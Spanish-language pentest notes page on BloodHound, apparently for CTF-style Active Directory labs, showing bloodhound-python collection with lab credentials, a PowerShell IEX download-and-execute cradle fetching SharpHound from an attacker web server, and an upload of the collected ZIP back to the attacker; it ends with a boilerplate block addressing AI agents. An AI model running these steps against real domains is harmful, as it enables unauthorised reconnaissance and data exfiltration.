# BloodHound

BloodHound funcione vía LDAP

#### 1.Instalar BloodHound con Docker

1.

```
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
```

2.

```
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
```

3.

```
./bloodhound-cli install
```

#### 2.Conseguir el .zip

#### -De manera remota

Dado que no tenemos acceso remoto al sistema aun, podemos recolectar información via ldap con bloodhound-python con el siguiente comando:

```
bloodhound-python -u judith.mader -p judith09 -ns 10.10.11.41 --zip -c All -d certified.htb
```

Si no tuvieramos sincronizado el reloj con la máquina víctima

<figure><img src="/files/a5iCFD5Sn5hbCRWAJoX1" alt=""><figcaption></figcaption></figure>

```
ntpdate <IP-VICTIMA>
```

Esperamos a que se cree el comprimido para subirlo a BloodHound.

<figure><img src="/files/vTGNlClRnAj5xaAvA8YV" alt=""><figcaption></figcaption></figure>

***

#### -Con acceso a la máquina

<https://github.com/SpecterOps/BloodHound-Legacy/blob/master/Collectors/SharpHound.exe>

O lo tengo para copiar en la carpeta /opt

**1. Transferir SharpHound.ps1 al objetivo**

En Kali, crear servidor web

```
python3 -m http.server 8080
```

En la máquina Windows, descargar SharpHound.ps1

```
#CMD
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10./SharpHound.ps1')

#Powershell
IWR -Uri "http://<TU_IP>:8080/SharpHound.ps1" -OutFile "C:\Windows\Temp\SharpHound.ps1"
```

**2. Ejecutar SharpHound en el objetivo**

* Método 1: Usando el ejecutable (recomendado)

```
cd C:\Windows\Temp
.\SharpHound.exe -c All -d dominio.local --domaincontroller DC01.dominio.local -u usuario -p 'password'
```

* Método 2: Usando PowerShell

```
Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain dominio.local -LDAPUser usuario -LDAPPass 'password'
```

**3. Recolectar y transferir los datos**

SharpHound generará un archivo ZIP, lo transferimos al Kali:

* Desde el objetivo:

```
IWR -Uri "http://<TU_IP>:8080/upload" -Method Post -InFile "20231201120000_BloodHound.zip"
```

* O desde el kali, descargarlo:

```
python3 -m http.server 8080
```

* Y en el objetivo:

```
Invoke-WebRequest -Uri "http://<TU_IP>:8080/20231201120000_BloodHound.zip" -OutFile "C:\Windows\Temp\bh.zip"
```

***

#### 3. Importar y ver el .zip

Lo subimos y vemos la ruta.

<figure><img src="/files/QXYxzdhuyDUPpDwgVhaY" alt=""><figcaption></figcaption></figure>

Le damos por ejemplo para ver la ruta a:

<figure><img src="/files/X5Ur7iga2f90rNbaWiMH" alt=""><figcaption></figcaption></figure>

Si buscamos por usuario y nos vamos a **Outbound Object Control**

<figure><img src="/files/xk0QoBRsm9BJHAFd6Omf" alt=""><figcaption></figcaption></figure>

Vemos como abusar ese derecho desde Linux

<figure><img src="/files/4dgY5GHS8OHrIVoH7wUQ" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/active-directory-methodology/bloodhound.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
